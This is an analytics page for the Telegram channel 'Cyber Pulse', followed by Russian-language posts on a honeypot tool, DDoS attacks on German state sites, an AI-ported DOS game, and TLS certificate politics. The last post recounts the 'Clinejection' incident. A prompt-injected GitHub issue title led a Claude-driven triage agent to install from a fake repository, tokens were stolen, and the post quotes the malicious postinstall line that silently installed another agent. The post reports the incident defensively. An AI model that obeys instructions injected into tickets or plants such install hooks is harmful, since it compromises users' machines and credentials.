Cyber Pulse
Самые интересные новости из сферы IT и кибербезопасности в одном канале🧑🏻💻
Показати більше📈 Аналітичний огляд Telegram-каналу Cyber Pulse
Канал Cyber Pulse є активним учасником. На даний момент спільнота об'єднує 14 050 підписників, посідаючи місце в категорії Інші.
📊 Показники аудиторії та динаміка
З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 14 050 підписників.
За останніми даними від 12 жовтня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на -1 526, а за останні 24 години на 0, загальне охоплення залишається високим.
- Статус верифікації: Не верифікований
- Рівень залученості (ER): Середній показник залученості аудиторії становить 0.59%. Протягом перших 24 годин після публікації контент зазвичай збирає 0.39% реакцій від загальної кількості підписників.
- Охоплення публікацій: В середньому кожен допис отримує 83 переглядів. Протягом першої доби публікація в середньому набирає 56 переглядів.
- Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 9.
📝 Опис та контентна політика
Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
“Самые интересные новости из сферы IT и кибербезопасности в одном канале🧑🏻💻”
Завдяки високій частоті оновлень (останні дані отримано 13 жовтня, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Інші.
Что такое HellPot? HellPot — это кроссплатформенный honeypot, написанный на Go. Он имитирует уязвимые веб-сервисы и, когда бот игнорирует правила (например, robots.txt) или пытается агрессивно сканировать, начинает «кормить» его бесконечным потоком бессмысленных, но правдоподобных данных. Бот думает, что нашёл золотую жилу, а на самом деле просто тонет в сгенерированном Markov-цепочками контенте. Основные возможности - Бесконечная генерация данных — бот может качать «ответ» часами. - Гибкая конфигурация через TOML-файл. - JSON-логирование — удобно интегрировать с SIEM-системами и системами мониторинга. - Высокая производительность благодаря реализации на Go. - Легко ставится рядом с nginx, Apache или любым другим веб-сервером. Как это работает на практике? Когда обычный сканер или бот заходит на «приманку», HellPot начинает возвращать ему огромные объёмы данных. Бот радуется, качает килобайты за килобайтами, а вы в это время спокойно собираете информацию о его IP, User-Agent, поведении и методах атаки. Это отличный способ: - Отвлекать внимание от реальных серверов - Собирать ценную разведывательную информацию - Просто позлить авторов ботнетов Кому будет полезен HellPot? Администраторам, которые устали от постоянных сканов, пентестерам, специалистам по информационной безопасности и всем, кто хочет добавить лишний слой защиты и наблюдения за угрозами. HellPot не заменяет нормальную защиту (WAF, обновления, правильную конфигурацию), но становится очень приятным и эффективным дополнением в арсеналеХотите превратить надоедливых ботов в источник развлечения и разведданных? HellPot — один из самых интересных и «вредных» инструментов для этого в 2026 году. #HellPot #Honeypot #Инфобез #Кибербезопасность Репозиторий на GitHub ссылка Подпишись
«Ущерб возникает не только тогда, когда приходит счет. Он возникает, когда граждане не могут получить доступ к государственным услугам из-за кибератак, когда их данные скомпрометированы, а также когда это приводит к потере доверия к цифровому государству».По данным правительства, ответственность за DDoS-атаки преимущественно взяли на себя такие группы, как «NoName057(16)».
«Наше парламентское расследование выявило, насколько уязвима инфраструктура кибербезопасности Шлезвиг-Гольштейна. Так называемые DDoS-атаки парализуют работу веб-сайтов, фишинг ставит под угрозу данные пользователей, устанавливается вредоносное ПО. Кроме того, скомпрометированы учетные данные доступа, а в конфиденциальных областях под угрозой находятся даже данные пациентов. «Это не абстрактная проблема ИТ; это уязвимость цифрового государства»,— добавил немецкий парламентарий. #infosec #cybersecurity #Германия #КритическаяИнфраструктура #хактивизм #кибератаки #ddos Подпишись
Но в 2026-м на сцену вышел энтузиаст Денис Ширяев (да-да, тот самый гуру из мира медиа и нейросетей) и решил: «А почему бы и нет?» С помощью мощной ИИ-модели Claude Fable 5 от Anthropic он сотворил настоящее цифровое чудо. Сначала — декомпиляция бинарного кода оригинала, потом нейросеть тщательно проанализировала всё это древнее хозяйство и переписала игру на современный TypeScript. Даже спрайты вытащила! Получился полноценный порт, который теперь летает в любом браузере.Никаких эмуляторов DOS, никаких танцев с бубном вокруг старого железа. Просто открываешь ссылку — и вот он, барабан, вопросы, сектора «Банкрот» и всё то ностальгическое очарование, от которого у поколения 90-х сразу мурашки по коже. Ширяев просто скормил нейросети бинарник и через пару часов получил готовые исходники. В эпоху, когда ИИ рисует картинки и сочиняет симфонии, он решил воскресить забытую игру. И это чертовски круто. Теперь даже те, кто в 90-е только-только учился читать, могут почувствовать себя участником капитал-шоу. Хотите проверить, насколько вы эрудированнее Якубовича? Ищите браузерную версию «Поле Чудес 2» — она уже ждёт. Крутите барабан, угадывайте слова и вспоминайте, как в детстве мечтали выиграть автомобиль. Только без «Аааааааа!» в студии, увы. Спасибо, нейросети. Вы не только генерируете мемы, но и возвращаете нам кусочки детства. 🎡 #ПолеЧудес2 #НейросетьВоскресила #РетроХак #DOStoBrowser #CyberPoleChudes Подпишись
Конечно, никакого «отключения HTTPS по всей стране» не случилось — паникёры могут выдохнуть. Но история отлично иллюстрирует, насколько наивно было считать публичные сертификаты просто «технической деталью». Это инструмент глобальной инфраструктуры доверия, который живёт по правилам чужих юрисдикций, политик браузеров, санкций и внутренних страхов удостоверяющих центров.GlobalSign, Let's Encrypt, Apple, Cloudflare и прочие «друзья» действуют каждый по своему комплаенс-скрипту. В итоге для российских компаний картина знакомая до боли: вчера всё зеленело, сегодня браузер показывает страшное предупреждение, приложение исчезло из магазинов, а пользователи в ярости. Особенно умиляет, когда представители GlobalSign Russia начинают ссылаться на какого-то загадочного «международного регулятора» CA/B Forum. Это примерно как назвать собрание соседей по подъезду «органом государственного управления». Форум — это просто отраслевой клуб, а решения принимаются по законам США, ЕС и внутренним риск-аппетитам компаний. Let's Encrypt при этом продолжает выдавать сертификаты обычным российским компаниям (не из санкционных списков), потому что даже у них есть свои исключения и лицензии OFAC. Но, конечно, лучше об этом громко не говорить — испортите весь драматический эффект. А венец всего — комментарий Минцифры. Мол, ничего страшного, сайт будет недоступен «всего непродолжительное время», пока выдадим новый сертификат. Видимо, в ведомстве искренне считают, что TLS нужен только для посещения сайтов через браузер. Про подпись кода, мобильные приложения и корпоративные сервисы там, похоже, слышали краем уха. Отечественные сертификаты НУЦ в этой реальности часто работают примерно как «доверяй, но проверяй… и всё равно не сработает». Мораль истории: если у вас куча публичных доменов и поддоменов — самое время перестать относиться к ним как к бесплатному приложению к хостингу. Иначе однажды проснётесь с кучей красных предупреждений в браузерах пользователей. Приятного пользования «суверенным» интернетом. Ссылка на источник ⬅️ Подпишись
cline@2.3.0. В package.json незаметно добавили строку:
"postinstall": "npm install -g openclaw@latest"
За 8 часов пакет скачали около 4000 раз, и каждый установивший получил на компьютер полноценного ИИ-агента OpenClaw с широкими правами.
Как это сделали?
Злоумышленник не использовал сложных эксплойтов. Он создал обычный GitHub-issue с вредоносным заголовком. Поскольку Cline обрабатывал тикеты через Claude без санитизации, промпт заставил агента выполнить npm install из поддельного репозитория.
Далее сработала цепочка:
- Тайпсквоттинг и отравление GitHub Actions cache.
- Ночная сборка подхватила заражённые зависимости.
- Были украдены токены NPM, VSCE и OVSX.
- С помощью украденного npm-токена опубликовали вредоносную версию пакета.
Почему защиты не сработали?
- npm audit ничего не заметил.
- Код-ревью прошло (бинарник не изменился).
- Postinstall-скрипт выполнился молча.
- Отсутствовали attestations и SBOM.
Это классический confused deputy (запутавшийся делегат): доверенный инструмент Cline незаметно установил вредоносного агента OpenClaw. Пользователи даже не подозревали о втором ИИ на своих машинах.
Вывод: в эпоху ИИ-агентов нужно жёстко санитизировать все входные данные, ограничивать права автоматизации и внимательно относиться к postinstall-скриптам. Один хитрый заголовок тикета может стоить очень дорого ☠️
#Clinejection #SupplyChainAttack #DevSecOps #AISecurity
Подпишись